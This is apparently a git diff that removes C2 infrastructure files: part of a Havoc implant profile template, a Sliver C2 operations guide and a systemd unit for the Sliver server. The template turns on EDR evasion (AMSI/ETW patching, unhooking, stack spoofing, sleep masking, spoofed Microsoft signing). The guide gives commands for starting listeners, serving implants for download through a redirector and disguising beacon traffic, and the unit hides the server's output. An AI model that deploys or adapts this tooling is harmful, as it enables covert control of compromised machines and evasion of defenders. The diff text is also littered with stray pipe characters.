{% set process32_list = [
|
||||||
|
"C:\\Windows\\SysWOW64\\notepad.exe",
|
||||||
|
"C:\\Windows\\SysWOW64\\dllhost.exe",
|
||||||
|
"C:\\Windows\\SysWOW64\\ctfmon.exe"
|
||||||
|
] %}
|
||||||
|
Spawn32 = "{{ process32_list[random_hex[6] | int % process32_list|length] }}"
|
||||||
|
{% endif %}
|
||||||
|
|
||||||
|
{% if havoc_allocation_method is defined %}
|
||||||
|
AllocationMethod = {{ havoc_allocation_method }}
|
||||||
|
{% else %}
|
||||||
|
AllocationMethod = {{ random_hex[7] | int % 3 }}
|
||||||
|
{% endif %}
|
||||||
|
|
||||||
|
{% if havoc_execution_method is defined %}
|
||||||
|
ExecutionMethod = {{ havoc_execution_method }}
|
||||||
|
{% else %}
|
||||||
|
ExecutionMethod = {{ random_hex[3] | int % 2 }}
|
||||||
|
{% endif %}
|
||||||
|
|
||||||
|
{% if havoc_execution_options is defined %}
|
||||||
|
ExecuteOptions = {{ havoc_execution_options }}
|
||||||
|
{% else %}
|
||||||
|
ExecuteOptions = 1
|
||||||
|
{% endif %}
|
||||||
|
}
|
||||||
|
|
||||||
|
{% if havoc_evasion_enabled | default(true) %}
|
||||||
|
Evasion {
|
||||||
|
StackSpoofing = {{ havoc_stack_spoofing | default(true) | lower }}
|
||||||
|
SleazeUnhook = {{ havoc_sleaze_unhook | default(true) | lower }}
|
||||||
|
AmsiEtwPatching = {{ havoc_amsi_etw_patching | default(true) | lower }}
|
||||||
|
ApiFiltering = {{ havoc_api_filtering | default(true) | lower }}
|
||||||
|
|
||||||
|
{% if havoc_syscall_method is defined %}
|
||||||
|
SyscallMethod = {{ havoc_syscall_method }}
|
||||||
|
{% else %}
|
||||||
|
SyscallMethod = {{ random_hex[4] | int % 3 }}
|
||||||
|
{% endif %}
|
||||||
|
}
|
||||||
|
{% endif %}
|
||||||
|
|
||||||
|
{% if havoc_masking_enabled | default(true) %}
|
||||||
|
Masking {
|
||||||
|
HeapType = {{ random_hex[1] | int % 2 }}
|
||||||
|
SleepMaskTechnique = {{ random_hex[2] | int % 4 }}
|
||||||
|
}
|
||||||
|
{% endif %}
|
||||||
|
|
||||||
|
{% if havoc_binary_signing_enabled | default(false) %}
|
||||||
|
Binary {
|
||||||
|
SignTemplate = {
|
||||||
|
Name = "{{ havoc_sign_template_name | default('MicrosoftLLC') }}"
|
||||||
|
{% if havoc_sign_template_extra_options is defined %}
|
||||||
|
Options = {
|
||||||
|
{% for key, value in havoc_sign_template_extra_options.items() %}
|
||||||
|
{{ key }} = "{{ value }}"
|
||||||
|
{% endfor %}
|
||||||
|
}
|
||||||
|
{% endif %}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
{% endif %}
|
||||||
|
|
||||||
|
{{ havoc_additional_options | default('') }}
|
||||||
|
}
|
||||||
@@ -1,73 +0,0 @@
|
|||||||
# File: templates/sliver-guide.j2
|
|
||||||
# Sliver C2 Framework Usage Guide
|
|
||||||
|
|
||||||
SLIVER C2 OPERATIONS GUIDE
|
|
||||||
==========================
|
|
||||||
|
|
||||||
This guide provides information on using the randomized Sliver C2 server deployed on
|
|
||||||
your infrastructure.
|
|
||||||
|
|
||||||
SERVER INFORMATION
|
|
||||||
-----------------
|
|
||||||
C2 Server IP: {{ c2_ip }}
|
|
||||||
Redirector Domain: {{ redirector_domain }}
|
|
||||||
Operator Config: /root/admin.cfg
|
|
||||||
|
|
||||||
CONNECTING TO THE SERVER
|
|
||||||
-----------------------
|
|
||||||
1. From your operator system, import the operator config:
|
|
||||||
$ sliver import /path/to/admin.cfg
|
|
||||||
|
|
||||||
2. Connect to the server:
|
|
||||||
$ sliver
|
|
||||||
[*] Loaded 1 operator profiles
|
|
||||||
sliver > use admin
|
|
||||||
[*] Set active profile admin ({{ c2_ip }}:31337)
|
|
||||||
sliver > connect
|
|
||||||
[*] Connected to {{ c2_ip }}:31337 (admin)
|
|
||||||
|
|
||||||
USING THE SERVER
|
|
||||||
---------------
|
|
||||||
Once connected to the server, you can:
|
|
||||||
|
|
||||||
1. List generated implants:
|
|
||||||
sliver > implants
|
|
||||||
|
|
||||||
2. Start a listener for HTTP connections:
|
|
||||||
sliver > http -d {{ redirector_domain }} -L 0.0.0.0 -p 8888
|
|
||||||
|
|
||||||
3. Start a multiplayer session:
|
|
||||||
sliver > mtls -L 0.0.0.0 -p 31337
|
|
||||||
|
|
||||||
IMPLANT RESOURCES
|
|
||||||
----------------
|
|
||||||
Pre-generated implants are available in:
|
|
||||||
- /root/Tools/beacons/
|
|
||||||
|
|
||||||
These implants are already configured to connect through the redirector at
|
|
||||||
{{ redirector_domain }}.
|
|
||||||
|
|
||||||
To serve these implants for download:
|
|
||||||
- A Python HTTP server is running on {{ c2_ip }}:8443
|
|
||||||
- Implants can be delivered through the redirector at {{ redirector_domain }}/downloads/
|
|
||||||
|
|
||||||
TIPS FOR OPSEC
|
|
||||||
-------------
|
|
||||||
- All connections go through the redirector
|
|
||||||
- Beacon intervals are randomized (30-150 seconds)
|
|
||||||
- Traffic is disguised as legitimate web requests using common paths
|
|
||||||
- Use HTTPS for all communications
|
|
||||||
|
|
||||||
To regenerate beacons with different properties:
|
|
||||||
$ /root/Tools/generate_evasive_beacons.sh
|
|
||||||
|
|
||||||
TROUBLESHOOTING
|
|
||||||
--------------
|
|
||||||
1. If implants can't connect:
|
|
||||||
- Verify DNS for {{ redirector_domain }} points to your redirector
|
|
||||||
- Check NGINX configuration on the redirector
|
|
||||||
- Ensure ports 8888 and 443 are open on respective servers
|
|
||||||
|
|
||||||
2. If Sliver server isn't responding:
|
|
||||||
- Check service status: systemctl status sliver
|
|
||||||
- View logs: journalctl -u sliver
|
|
||||||
@@ -1,24 +0,0 @@
|
|||||||
[Unit]
|
|
||||||
Description=Sliver C2 Server
|
|
||||||
After=network.target
|
|
||||||
|
|
||||||
[Service]
|
|
||||||
Type=simple
|
|
||||||
User=root
|
|
||||||
Group=root
|
|
||||||
WorkingDirectory=/root/.sliver-server
|
|
||||||
ExecStart=/usr/local/bin/sliver-server daemon
|
|
||||||
Restart=always
|
|
||||||
RestartSec=10
|
|
||||||
|
|
||||||
# Security measures
|
|
||||||
PrivateTmp=true
|
|
||||||
ProtectHome=false
|
|
||||||
NoNewPrivileges=true
|
|
||||||
|
|
||||||
# Hide process information
|
|
||||||
StandardOutput=null
|
|
||||||
StandardError=null
|
|
||||||
|
|
||||||
[Install]
|
|
||||||
WantedBy=multi-user.target
|
|
||||||
Reference in New Issue
Block a user